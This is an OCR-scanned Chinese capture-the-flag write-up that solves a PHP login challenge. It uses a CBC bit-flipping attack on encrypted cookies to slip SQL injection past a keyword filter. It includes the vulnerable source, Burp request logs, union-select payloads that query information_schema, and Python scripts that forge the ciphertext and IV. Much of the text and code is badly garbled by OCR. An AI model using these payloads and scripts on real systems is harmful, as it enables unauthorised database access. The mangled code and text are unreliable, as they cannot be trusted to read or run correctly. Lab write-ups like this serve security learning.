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[Target I Proxy TSpider TScanner I Intruder TRepeatel ISequencer I Decoder T Comparer I Extender I Project options I User options Thlerts ]

[ T R e S P T cie L M_uEE Lt L L — [ =l



https://wochinijiamile.blog.csdn.net
https://blog.csdn.net/include_heqile/category_7457670.html
https://blog.csdn.net/include_heqile/category_7586421.html
https://blog.csdn.net/include_heqile/category_7380229.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/include_heqile/article/details/79942993
https://blog.csdn.net/include_heqile/category_7457670.html
https://blog.csdn.net/include_heqile/category_7586421.html
https://blog.csdn.net/include_heqile/category_7380229.html

U LAElGE “~ |7 TAIYEL NUPHCULSTYANUEanL G | e (4
J Raw T Params T Headers T Hex ] J Raw I Headers T Hex TXML 1
POST /web/jiandan/index.php HTTP/1.1 ] HTTF/1.1 200 OK A
Host: ctfS.zhivanbar.com P Date: Sat, 14 Apr 2012 09:41:24 GHMT P
User-Agent: Mozilla/5.0 (Windows INT £.1; WOWE4; rv:55.0) Server: Apache/2.4.18 (Win3Z) Open3SL/1.0.Ze
Gecko/20100101 Firefox/59.0 FHP/5.3.29
Accept: ¥-Powered-By: FHF/5.3.29
text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 tips!: test.php *
Accept-Language: Set-Cookie: iv=1GrSMhEaZnldolPoUByIlbA%3D%3D
zh-CH, zh; q=0.8, zh-TW:q=0.7, eh-HE; q=0.5,en-US; q=0.3,en;q=0.2 Set-Cookie:
Referer: http://ctfS.zhivanbar.comw/wekh/jiandan/ index.php cipher=8gReqhVhyeQGTFseEm) t Ly WeOTCQCED ] depniNalu
Content-Type: application/x-www—form-urlencoded q5iT%3D
Content-Length: 21 Content-Length: 35
Connection: close Connection: close
Upgrade-Insecure-ERequests: 1 Content-Type: text/html
id=adminésubmit=Login O0<hl><center>Hello! </center></hl>
= =
v v
? < + > Type 0 matches ? < + > Type a 0 matches
Done 366 bytes | 1.125 millis
b —— — -

BN A b A A NURL:  http://ctf5.shiyanbar.com/webljiandan/test.php

define("SECRET_KEY*, "###+++x++52%y. define(*METHOD?", *aes-128-cbc"); error_reporting(0); include(‘conn.php); function sqliCheck($str){ if(preg_match(*/A\,|-}#|=|~Junion]like|procedure/i* $str)){ return 1; } return 0; } function get_random_iv(){
$random_i for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random _iv; } function login($info){ $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie(*iv", base64_encode($iv)); setcookie("cipher”, base64_encode($cipher)); } function show_homepage(){ global $link; if(isset(3_COOKIE['cipher']) & isset($_COOKIE['iv'])){ $cipher = base6d_decode($_COOKIE['cipher'); $iv =
base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die(*

base64_decode(".base64_encode($plain).") can't unserialize

"); $sql="select * from users limit ".$info['id'].",0"; $result=mysqli_query($link,$sql); if(mysqgli_num_rows($result) >0 or die(mysqli_error($link)))}{ $rows=mysqli_fetch_array($result); echo *
Hello!".$rows['username'].’

', }else{ echo*

Hello!
', } Jelse{ die("ERROR!"); } } } if(isset($_POST['id'])){ $id = (string)$_POST['id]; if(sqliCheck($id)) die("

sql inject detected!

"); $info = array('id'=>$id): login($info); echo*

Hello!

"1 Jelse{ if(isset($_COOKIE["iv"]) &&isset($_COOKIE['cipher])){ show_homepage(); }else{ echo

Login Form

input id to login
id

()

ReATDR NG 2 e, A A

<?php

define("SECRET_KEY", '*®kikkiiirrk:),
define("METHOD", "aes-128-cbc");
error_reporting(0);

include( 'conn.php');
function sqliCheck($str) {
// REVLE X BZRF, shadh w2 SQUiEN”




HARE X TE R R B S AE T A a0 S 3 A 1E I i) < i 8
if(preg_match("/\\\|, |-|#|=]|~|union|like|procedure/i",$str)) {
return 1;
)
return 0;
)
function get_random_iv() {
$random_iv="";
for($i=0; $i<16; $i++) {
$random_iv.=chr(rand(1,255));
)
return $random_iv;
¥
function login($info) {
$iv = get_random_iv();
$plain = serialize($info);
#F 5 R X
/*****************
<?php
#P IR LE TR AN E T FEEIER S, RBENEREHRE
#53— NFHBMREMS B ET 75
$a=array("test","abc","desdf","12345", "{§&", "www.jb51.net", "heqile", "MABEE");
$b=serialize(%$a);
print_r($b);
#a:8:{i:0;s:4:"test";i:1;s:3:"abc";i:2;s:5:"desdf";i:3;5:5:"12345";i:4;5:6:"{#%";i:5;5:12: "www.jb51.net";i
:6;s5:6:"heqile";i:7;s:12:"MAHEE";}
HFHAME—T, RARAAERILFTFIZ G 0T B A% R A
#a:8-- >HHSNLERMEA
#1:0;s:4: "test"--->TEHHAFM RGN0, ZREKE NG, FREFRLtest
echo "<br/>";
$c=unserialize($b);
print_r($c);
#Array ( [0] => test [1] => abc [2] => desdf [3] => 12345 [4] => 1% [5] => www.jb51.net [6] => heqgile [7]
=> MPAHEE )
?>
LEREEEELELEEEELE LY

$cipher = openssl _encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));

setcookie("cipher", base64_encode($cipher));
¥
function show_homepage() {
global $link;
if(isset($_COOKIE['cipher']) && isset($ _COOKIE['iv'])) {
$cipher = base64_decode($_COOKIE[ 'cipher']);
$iv = base64 decode($_COOKIE["iv"]);

#RFFIMN, B, XESHELRBARFEE, TR T FopenssLixA N Hik
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {
$info = unserialize($plain) or die("base64 decode('".base64_encode($plain).""') can't unserialize");

H#RANVDAERINELFEE  ,0 R, PARNMRAFREEFIE RN
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>@ or die(mysqli_error($link))) {
$rows=mysqli_fetch_array($result);

echo
Hello!'.$rows[ 'username']."

LI
£l

} else {




Hello!
¥
} else {
die("ERROR!");
¥
¥

by
if(isset($ _POST['id'])) {
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("sql inject detected!");

$info = array('id'=>%$id);
#E T A, RIINFAE A, ERN$id
login($info);
#% 3%, FFiR[EICookield
echo 'Hello!';
} else {
if(isset($_COOKIE["iv"])&&isset($_COOKIE[ 'cipher'])) {
show_homepage();
} else {
echo 'Login Form input id to login';

XIE R T AR FE A ARRIT AT T, EFHLEBTEITIF, SfE T RIE
BMNBELBELHERE T, ERSTZNERE LKL T, RERGHRZXMA:

preg_match("/\\\|, |- |#]|=|~|union|like|procedure/i"

$sql="select * from users limit ".$info['id']."

TATRE G IE N8I Bk *$info['id’ T J& T # N & KRBT, B b BRATRE AT LU R G v N B A -

oooooooo

RXEFGAT, BREPITRINT, HEFHIKIEHNNET G, SHLRERTER L

ou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the rig

ht syntax to use near '%00,0' at line 1

EMEET T, B3 T —MHMS: CBCEY M I
F Atest.phpH A H T LRZE, %7 =K 1 Zdefine(“METHOD”, “aes-128-cbc”);
aes-128-cbc 2 A IR i i)

CBCFHW ¥ Bk



RAKIF—FFCBC M Bt
Bl W FERME AR, JBELABE AL R AL B VRS, VIS & R SO E — R AT RAE T A R B B SC7E A

% Ja WA R #E S
BRI D IR
Plaintext Plaintext Plaintext
CITTTTTITTTT1 CITTTITITTTTT] OTTTITITTTTT]
Initialization Vector (IV)
T ——
bleck cipher bleck cipher block cipher
Key encryption Key encryption Key encryption
CITITITTITT CIITITTITTITT [TITITTITTITTM
Ciphertext Ciphertext Ciphertext

Cipher Block Chaining (CBC) mode encryption

drops.wooyun.org

1. BRSO L (E M LL162 35 A —4), AR R M AR TR R 7
A B — AN BEHL IR G646 1 B (V) A — AN B 8

VI8 — 4H B SR B

JH 25 4R 3 xorJa 72 A2 2 U

5. P4 A f 85 SO0 B8 A B S AT xor B AE .

6. P AN S = A )% U2 .

7. EEA4-7, BRE—HW

8. K IVAIINE 5 I U B E— 8, 1B RA M

w0 DN

iR I M A2 1B R

1. NESCHEUH N, REXTR TRE A (1675 —4)

2 EHARE S AT, BRESEREVERREEHE, /25X

3. WGP AT, BMENGRE L—HFEOGHTREGESH, [HPI2
4. EH2-3, HEA T UHET

THERYE—TF, AR QT A 0 3 SR U TR

B Ciphertext Ciphertext Ciphertext
ETTTTTTTTTTT CITTTTTTTTTTT] (OTTTTITTTTTTT]
bleck cipher bleck cipher block cipher
Key decryption Key decryption Key decryption
Initialization Vector (IV) c
T ——
CITTTITITTTITT A EITTITITITTT] [ITTTTTITITTT]
Plaintext Plaintext Plaintext
Cipher Block Chaining (CBC) mode decryption e REdd S
B AP SRR T

I~ JB 5P B AT AT LA -



A=B~C. B=A"C. C=A"B

XRBRREN— K, RIOTLHESE =FHRREHENERRE0

C=A"B
C~C=A"B"C=0

BAMEH TBHE, B—ERmEA

BAXAC=AMNX

WE R YL, RMEBRETX, ARE 1R M B #{E 7 BXHI 4 53R

MERMNEIEE— TFXEHH
RNEFHT —T, RI*%00EMriE £ 7 LAH K, {8 BurpffiRepeati¥itk, 45 ¥k ¥E #ii& K th Cookieff]ivAl cipher{d B
0, EAMERNA, RBTER, ERRGBEI—I4EH

-

E | Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn o |n(E) |-

Burp Intruder Repeater Window Help

[Target I T Spider T Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer I Extender I Project options I User options T!-\Ierts ]
1z [s [e [ [cJoal ]
Go Cance < | Target: http:/ictf5.shiyanbar.com @J [lJ

J Raw [ Params [ Headers T Hex ] J Raw T Headers T Hex [XML ]

POST /web/jiandan/index.php HTTF/L.1 " HTTF/1.1 200 OK "
Host: ctf5.shivanbar.com P Date: Sat, 14 Apr 2018 13:5&:52 GMT P
User—-Agent: Mozilla/5.0 (Windows NT £.L1l; WOWE4: Server: Apache/2.4.18 (Win32) OpenSsSL/1.0.2e PHP/5.3.29
rv:59.0) Gecko/201l00101 Firefox/59.0 ¥-Powered-By: PHP/5.3.29

Accept: tips: test.php

text/html, application/xhtml+xml, application/xml;q=0.9, * Set-Cookie: iv=k3IDrtEEUsIZEBnqgallntSAVesA%3D%3D

frr=0.8 Set-Cookie:

Accept-Languadge: cipher=FFrobipHsIe]jSsiFgSxUS7EFmgdLXEgDSEACImSEOESxk%3D
zh-CI, zh;c=0.8, zh-TW; q=0.7, eh-HE:; q=0.5,en-U3;q=0.3,en;:q Content-Length: 35

=0.2 Connection: close

Referer: Content-Type: text/html
http://etfs.shivanbar.com/ web/jiandan/ index. php

Content-Type: application/x-wwwv-form-urlencoded O0<hl><center>Hello!</center></hl>

Content-Length: 21

Connection: close

Cookie: iv=3M%2FEUVBRScvySlfqrPSPO9Fws3D%3D;

Ccipher=8Kt l0mEFalbJtEBus ZFEqRUENUiOUSmET7OHC LFDPTInQ% 3D
Upgrade-Insecure-Reqguests: 1

id=1;%00ksubmit=Login

e -
v v
w LLJ u lLJ Type a ch term 0 matches w liJ LJ m Type a se 0 matches
Done 370 bytes | 1,087 millis

FA 4 Ml iy ivAN cipherfE 58 8 22 fllcookie Bt iivAicipher(f, BHi5E2 /g, #id=1;%00f#, FHiE3Z, BIRIEBISQLIEAIMAT
GRNE—T

E | Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn o |n(E) |-

Burp Intruder Repeater Window Help

[Target I T Spider T Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer I Extender I Project options I User options T!-\Ierts ]
1z [s [e [ [cJoal ]
Go Cance < | Target: http:/ictf5.shiyanbar.com Lﬂ llJ

[ Raw T Params T Headers I Hex ] [ Raw T Headers I Hex TXML ]



FOST /web/jiandan/index.php HTTR/Ll.1

Host: ctf5.shiyanbar.com

Uger-Agent: Mozilla/5.0 (Windows NT £.1; WOWE4:
rv:59.0) Gecko/20Ll00Ll0L1 Firefox/55.0

Aocept:

text/html, application/xhtml+xml, application/xml;q=0.9, *
frr=0.8

Aoccept-Languadge:

zh-CH, zh; q=0.8, zh-TW:q=0.7, eh-HE; q=0.5,en-US; q=0.3,en:q
=0.2

Referer:
http://etfs.shivanbar.com/ web/jiandan/ index. php
Content-Type: application/x-www—form-urlencoded
Content-Length: 13

Connection: close

Cookie: iv=k3IDrtEfU%ZEngalint9AVisAs3Ds3D;
Ccipher=FKFrSbZIpHsZlejb%lFg9xUsSTEFmgdLXEgDSEACImmSEOESxK%3D

Upgrade-Insecure-Reqguests: 1

lesubmit=Login

? < + = | | Type a search term

Done

0 matches

HTTP/1l.l1 200 OK
Date: Sat, 14 Apr 2018 13:59:2Z GMT

Server: Apache/2.4.l8 (Win3Z) OpenSsSL/Ll.0.2= PHP/5.3.29

¥-Powered-By: FHP/5.3.29
tips: test.php
Content-Length: 41
Connection: closes
Content-Type: text/html

O0<hl><center>Helle!rootzz</center></hl>

e

e
v

0 matches

260 bytes | 1,296 millis

BNEEFE T —THEAE

echo ‘Hello!”.$rows[‘username’].’

XARIGRE TRIMNREEIRH P 2X—FRER, W 8users® H [fJusername’| #f & rootzz

Frik, BATERHEMEHCBCT Tl % Wi
RETA—TRERE2HMPASZIN, SREER

T THI AR e e 1 T
AN SPOLUEIIdE, Blid=1244]




$id = '12';
$info=array('id'=>%$id);
serialize($info);

:2:"id";s:

16N AN—1T, DNRFEFA, 2XM E—1THEK{
HICBCHN % 177 AFRATAT PAAnE, {4LE RME <0 2024 B 1ME
L SR A ] REAR AT AR
#15Ehalf_plain A% A AMARE FRFZRE, WAE:
half plain~{=2
RATER LG LR, WA
half_plain~{*27#=272"#
BT CABRATT A9 K {0 L FR) oz B e
(A2
FE A R IX AR IA ) :
cipher_raw=b64decode(urllib.unquote(cipher))
#EHATUr AR, HE{Efbase6sfifty, BEIFEIHEC
1st=1ist(cipher_raw)
R E SRS R B R, DMET X A BT HRAE
idx=4
cl = "2"
c2 = '#'
1st[idx]=chr(ord(lst[idx])”ord(cl)”ord(c2))
cipher_new="'"'.join(1lst)
P RFE MR T 1A
cipher_new=urllib.quote(b64encode(cipher_new))

#XF UG Xbase64¥ 1S, i Turlmig

BT RATEX T cipherfi {8, =54 HERNIVIRZKIR &, BERSINFRETRALERRFIIMLT

BoRARE— T 15 2 new_iv
FicipherfIHWiIVIE T REEH, HERR—ANTEPRFINLK FRE, BATH E PRt 2 goX 4 i &
BNk INEE:

new_cipher: & E—34RMIH K cipherZurlflbase64f#iL 3 -f FHAMEME 5 K4 R

old_iv: H—KRZH BRI ivEZUurlMbasebAfo% a4 R

error_plain: new_ciphers5old_ivREizEH 52 2R/ =

right_plain: BEHBIIFFINZERFRERE T (BALivRIES —HE URFE RN RSB RD
ZHUARESLS, REANE TRENASHER, XEL—PEELUHART

new_iv: HATEERFKivE

BAVRREFNXAS H -
new_cipher”new_iv=right plain
1 CBC N 25 il s i AR AT AT BA I
new_cipher”old_iv=error_plain
ERES B CASHRBIEH K4 R 2e
ERESMFREHNERTZE O ALS
MAERNEF | right_plain,
HFESnew_iv=0ld_iv~error_plain~right plain

IXFEIRATT R BE CRAE B 5 vH B SR 45 SR — & P AR 7 514k

X—S R R RRAIE 2] T error_plain

2 e BAi1iEnew_cipherfinew_iv{§ FiBurpi2s L%, 12842 R 1#
ERAES KR HRRITid=12M B3, AREiEEBerror_plain
BRAVRRERE —ITHERT :




ZJE RS RMERE T, BITPOS I PR HEATEA
A RESQLIEN H JLAME R KI5 -
EREERIETEET ,

r 5
E | Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn e =R X
Burp Intruder Repeater Window Help
[Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender I Project options I User options T}'-\Ierts ]
1 | .
Go Cance < | Target: http:/ictf5.shiyanbar.com | #|| 7
J Raw [ Params [ Headers T Hex ] J Raw I Headers T Hex TXML 1
POST /webh/jiandan/indsx.php HTTR/L.1 " HTTP/Ll.1l 200 OK i
Host: ctf5.shivanbar.com P Date: Sun, 15 Apr 2018 03:54:08 GUT -
User-Agent: Mozilla/5.0 (Windows INT £.1; WOWE4; rv:59.0) Server: Apachs/2.4.18 (Win3Z) OpensSsSL/1.0.Ze
Gecko/20100101 Firefox/59.0 PHP/5.3.29
Aoocept: ¥-Powered-By: PHP/5.3.29
text/html, application/xhtml+xml, application/xml;gq=0.9, */*;qg=0.8 tips: test.php
Lecept-Language: Content-Length: 41
zh-CI, zh;q=0.8, zh-TW; qq=0.7, 2h-HE; ¢q=0.5,en-US;q=0.3,en;q=0.2 Connection: close
Referer: http://ectfs.shivanbar.com/ web/jiandan/ index. php Content-Type: text/html
Content-Type: application/x-wwv—form-urlencoded
Content-Length: L3 O0<hl><center>Hello!rootzz</center></hl>
Cookie:
iv=EdfgySHoEUYoiueudxvRoews3Ds3D; cipher=DgfAZYF4WSESZEL4WLIECODEVV
EQZS%ZEOTGgeo IsvwESIIVos3D
Connection: close
Upgrade—-Insecure-Fequests: L
gsubmit=Login
= e
v v
2 < + > Type a search term 0 matches 2 < + > Type a search term 0 matches

+ union. =, BAIEEHEFRHHAMTFBORAE

tetnisd, FATAT LAEHjoinsRARE™, , i HregexpRRE =, @i CBCF i ## 1% 2nion®l ¥ Hyunion*
HSeRATT UAER A =B, (BRIFEBORI T &, FrARMEEH S %

FAVA J& B2 TR
REAERIZPA AT T

EMAERRAR, RNFTEEE —THOEANBANFIMERSER, NMRERTEHEREE LTI

<?php
$id = "@ 2nion select * from((select 1)a);%00";
$info=array('id'=>%$id);

$plain = serialize($info);
for($i=0;%i<strlen($plain);$i++) {

echo $plain[$i];
if(($i+1)%16==0)
echo "<br />";

?>




.

a:1:{s:2:"id":s:  OEE: BTE2RRARITEANESSRM2

. B4R, AEHENER N EF—IF
38:"0 Znion sele ) ) RERIAERE, EREXGART ST
ct * from((selec (R Frfld E—77)
t 1)a);%00";}

Array ( [id] => 0 2nion select * from((select 1)a);%00 )

S FZE A0S AL

0 2nion select * from((select 1)a); %00

S ZEE R, BT B A3, 5B =AML B W AR R

#3515 3old_cipherfiold_iv, 13 fold_cipherf3#new_cipher, ¥old_iviinew_cipherii* %, 75 3%lerror_plain, {#
Hold_ivflerror_plainf #new_iv, #3Znew_ivilnew_ciphers 2| & )& &) 45 3

id =0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where
table_schema regexp database())b join (select 3)c); %00

5% new_cipher

# -*- coding:utf8 -*-
from base64 import *
import urllib

old_cipher = "hEZH6nN6Qp32TLtPGKUjqvybijmAI%2BcQLNOrK5zalW7Lgw%2Fa%2BE@4U82CGEjkNO6r8YRVO1IWCI5cvEazSUWNjX894ED7K2
z%2FLYtRaDxH5K3ZLsnCILhqIw3G%2BXUpOHFNADOe6b9IShI8vIxYmBdyYoVw%3D%3D "

raw_old cipher = b64decode(urllib.unquote(old cipher))

1st = list(old cipher)

= '2'

= 'u'
1st[index]=chr(ord(asdl)”ord(asd2)”ord(1lst[index]))
cipher = ''.join(lst)
new_cipher = urllib.quote(b64encode(cipher))

print new_cipher

B ZEInew_iv



# -*- coding:utf8 -*-
from base64 import *
import urllib

old_iv = 'iM8GVaOsFA7CCJIJIBnTj3BQ%3D%3D"
raw_old iv = b64decode(urllib.unquote(old iv))
right_plain = 'a:1:{s:2:"id";s:"'
error_plain = 'nWi+H89g+8yg5vG61Y0yPjg40iIwIHVuaWOuIHN1bGYjdCAqIGZYb200KHN1bGYjdCAXKWEgam9pbiAoc2VsZWNOIHZhbHV1T
GZyb20geW91X3dhbnQpYiBqb21uIChzZWx1Y3QgMy1jKTsAIjt9"
raw_error_plain = bé4decode(error_plain)
list(right_plain)

list(raw_error_plain)

list(raw_old_iv)
print len(lstl)
print len(lst2)
print len(lst3)

for i in range(16):
new_iv+=chr(ord(lstl[i])”ord(1lst2[i])”ord(1st3[i]))
lst=1ist()

new_iv = urllib.quote(b64encode(new_iv))

print new_iv
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